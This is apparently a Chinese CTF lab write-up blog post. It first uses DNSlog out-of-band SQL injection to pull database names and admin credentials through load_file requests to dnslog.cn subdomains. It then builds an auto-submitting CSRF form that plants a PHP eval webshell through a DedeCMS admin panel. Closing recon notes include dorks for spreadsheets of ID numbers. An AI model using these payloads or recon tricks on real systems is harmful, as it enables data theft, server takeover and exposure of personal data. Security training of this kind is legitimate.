4.漏洞组合利用靶场

漏洞组合利用靶场

0x01. dns-log注入

一如既往的拿flag

1. DNSLOG回显原理

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样

我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服

务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A

上查询,这时就能够实时地监控域名查询请求了,图示如下。

image-20210116171432789

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息

简单来说就是把信息放在多级域名中,传递到自己这,然后读取日志,获取信息。

说道这里你可能还是很迷糊,简单理解就是,你有一个域名,和一个域名解析服务器,当你在地址栏输入这个

域名的时候,会在你的域名解析服务器中留下解析的日志记录,如果域名中有数据库信息,是不是也能显示?

但是要你自己搞这些域名还有域名解析服务器是不是很麻烦,所以网上有人帮你搞好了平台你用就行了

平台网址 :http://www.dnslog.cn/

image-20210116172504596

地址栏输入获取的子域名

zziej2.dnslog.cn

image-20210116172637352

查看解析记录

image-20210116172713578

如果在前面加一个数据库库名的话,是不是也能显示出来,嘿嘿,但是怎么通过sql语句达到像我们在地址栏访问

域名的那样操作呢?还真有,哈哈哈哈 , 那就是load_file()函数,load_file()不仅能够加载本地文件,同时也能对

诸如\\www.test.com这样的URL发起请求但是一般得是root权限,secure_file_priv为空

show variables like '%secure%'; 查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件 , mysql 5.6以后默认为null。

show variable like '%secure%'

img

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

img

dnslog回显只能用于windows系统,原理就是\\代表Microsoft Windows通用命名约定(UNC)的文件和目

录路径格式利用任何以下扩展存储程序引发DNS地址解析。

在mysql中执行

select load_file('\\\\gggg.zziej2.dnslog.cn\\1.txt')       
既然是加载文件,那域名后面必须接一个文件名,可以不存在,多加两个\就是转义了反斜杠

image-20210116174453544

image-20210116174521496

2. 获取库名

http://59.63.200.79:8022/dns/

进入靶场,点击查看新闻,卧槽又是猫舍

image-20210116170612956

判断注入点

http://59.63.200.79:8022/dns/
?id=1 --+

image-20210116175046160

字符型注入,直接load_file进行dns注入

?id=1 and load_file(concat('\\\\',(select database()),'.a8n9jm.dnslog.cn\\1.txt')) --+


.a8n9jm.dnslog.cn       是你在平台上获取的子域名,注意拼接在SQL语句中还有一个点

image-20210116175651502

image-20210116175544345

简单解释一下哈,这里会先执行子语句查询即select database() , 然后执行concat函数,进行\\\\和库名和后面

的域名+文件名的拼接,然后load_file对这个字符串形式的资源进行访问,然后会进行域名解析,然后在日志中

就能看到解析的记录,记录中有当前的库名,这种叫做数据外带

3. 获取表名

?id=1 and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.a8n9jm.dnslog.cn\\1.txt')) --+    
一次只能获取一个表名

image-20210116180348336

image-20210116180306346

通过更换 limit 后面的参数最终特出,maoshe库下只有两个表,一个admin,一个news

我推测,flag应该藏在admin中

4. 获取字段

?id=1 and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name="admin" limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+    

改变 limit 后面的参数得出,只有三个字段

image-202101161811187045. 获取数据

?id=1 and load_file(concat('\\\\',(select username from admin limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+ ?id=1 and load_file(concat('\\\\',(select password from admin limit 0,1),'.41x6vr.dnslog.cn\\1.txt')) --+   

image-20210116181335411

依然是通过改变 limit 后面的参数得到其他账号和密码,如下图

image-20210116181535253

经过测试验证,果然FlaG-biubiu是这一关的flag

6. dnslog注入总结

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现在WAF的防护下,很可

能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。dns注入不但使用于sql盲注,还可以用在

xss攻击,命令执行,ssrf,xxe 等

补充 : https://www.cnblogs.com/-qing-/p/10623583.html#_label0

0x02. csrf跨站请求伪造

1. 发现网站指纹

https://hack.zkaq.cn/battle/target?id=fd55addd264dca04

image-20210118220114183

看到提示说flag在csrf目录下,估计是骗我这种善良的小子的

image-20210118220229490

但是在csrf路径下显示的页面,突然让我灵机一动

image-20210118220632010

image-20210118220534435

老哥你看这一堆的指纹信息,没有一点想法?看到建站两个字你想不到网上有公开的源代码?而且下面还有具体的

版本信息,很快我就在某度找到了对应版本的源码。 地址:http://www.aspku.com/c/cms/41276.html

image-20210118221316966

点击下载即可,解压,然后在本地搭建好这个网站。搭建网站应该会吧,放在phpstudy的www目录下

将网站的根目录改为和靶场的一致,然后就是访问csrf/install/ 会默认下一步下一步安装

2. 找到后台

拿flag和网站后台有什么关系?后台啊大哥,一般都会有上传文件这种功能,如果有上传一个一句话木马他不香吗?

http://localhost/csrf/dede/login.php?gotopage=%2Fcsrf%2Fdede%2F本地和靶场搭建的一样的网站

image-20210118222015251

原来在dede下啊,怪不得admin进不去,赶紧去靶场试试

image-20210118222159671

他是真的狗,存在但是关闭了回显,这时候我想到了题目的另一个提醒,就是反馈的页面,管他呢,先打开看看

http://59.63.200.79:8022/csrf/test/

image-20210118222410217

既然是一个反馈页面,而且还有上传文件这个操作,ok,我可以获得两个信息,一是这个反馈信息肯定只有管理

员在后台可以看到,二是这个可以上传文件,上传点有了。先上传一个一句话木马试试

image-20210118222804048

果然不允许上传,那我试试抓包更改扩展名试试

image-20210118223106801

估计是白名单过滤,这个可能不是一个关键的突破点,继续去我们的后台逛逛,有没有上传文件的地方,哎有了

image-20210118223538682

image-20210118223705547

image-20210118223718578

卧槽,我有想法了,既然可以新建文件,新建文件不就是发一个请求吗?如果我在反馈信息中搞一个发这样请求

的url,那么后台管理员一点,不就用他的身份新建了一个一句话木马了吗?而且我猜测,既然后台都没改,上传

的文件保存路径也没有改,csrf嘿嘿,这个新建文件肯定没有做referer或者sessions的校验

3. 利用BP生成csrf的poc

提交新建文件的请求,然后抓包,生成csrf的poc

image-20210118233817312

复制生成的poc的html代码

<html>  <!-- CSRF PoC - generated by Burp Suite Professional -->  <body>  <script>history.pushState('', '', '/')</script>    <form action="http://localhost/csrf/dede/file_manage_control.php" method="POST">      <input type="hidden" name="fmdo" value="edit" />      <input type="hidden" name="backurl" value="" />      <input type="hidden" name="activepath" value="&#47;csrf&#47;uploads" />      <input type="hidden" name="filename" value="yjh&#46;php" />      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;POST&#91;&apos;123&apos;&#93;&#41;&#59;&#63;&gt;" />      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />      <input type="submit" value="Submit request" />    </form>  </body></html>

默认生成的poc是点击按钮才能提交,修改成自动提交form表单,这样防止管理员不点击按钮

<html>  <!-- CSRF PoC - generated by Burp Suite Professional -->  <body>  <script>history.pushState('', '', '/')</script>    <form id="aa" action="http://localhost/csrf/dede/file_manage_control.php" method="POST">      <input type="hidden" name="fmdo" value="edit" />      <input type="hidden" name="backurl" value="" />      <input type="hidden" name="activepath" value="&#47;csrf&#47;uploads" />      <input type="hidden" name="filename" value="yjh&#46;php" />      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;POST&#91;&apos;123&apos;&#93;&#41;&#59;&#63;&gt;" />      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />    </form>      <script>     function a(){      document.getElementById('aa').submit();     }     setTimeout(a,100)     </script>  </body></html>

将这段html代码保存在文件中,先在本地测试一下,在保证管理员登录的情况下,点击这个html文件

image-20210118234559188

果然自动创建了这个文件,保存路径为csrf/uploads/下,嘿嘿,这就好办了,注意这个测试的html文件中提交的

地址是本地的,需要更换成靶场的,这样才能在靶场的服务端新建木马文件

<form id="aa" action="http://59.63.200.79:8022/csrf/dede/file_manage_control.php" method="POST">

image-20210118235523274

4. 上传csrf

image-20210118235841647

5. 菜刀连接一句话木马

路径 : http://59.63.200.79:8022/csrf/uploads/yjh.php 密码 : 123

image-20210119000039307

然后就可以进网站目录下找flag了,或者直接用终端搜

dir /s flag.php

渗透测试

  • 子域名收集

    • 子域名挖掘机

    • 子域名在线搜索

    • 谷歌语法 : inurl: qq.com ( 谷歌镜像站 )

      ​ inurl: xxx.edu.cn filetype:xls 身份证 ---> src edu

  • 开放端口 端口上会开放服务 , 查看这个服务有什么漏洞

  • 22 3389 暴力破解 www.bugku.com

  • 敏感信息收集

    • whois反查 whois.net 国外网站
    • 企查查/天眼查 百元买个账号 找手机号 姓名 生成密码字典
    • fofa
    • 指纹识别 云悉指纹识别 cms在线识别 bugscaner.com 不要死扣
    • Powered by cms/公司名字 谷歌语法搜 , oday一大把
    • html源代码 搜索cms
    • 挨个js访问 , 会有意想不到的信息 ( 魔术手 某东注入漏洞就是这样挖的 )
    • robots.txt( 君子协议 ) 不允许怕的路径/文件
    • 网站备份数据竟然是国家要求的 试试把所有的域名+www.zip访问一遍 , 电脑磁盘空间绝对不够用
  • 后台扫描

    • 谷歌语法
    • 7kb / 破壳
posted @ 2021-12-20 19:03  Mn猿  阅读(99)  评论(0编辑  收藏  举报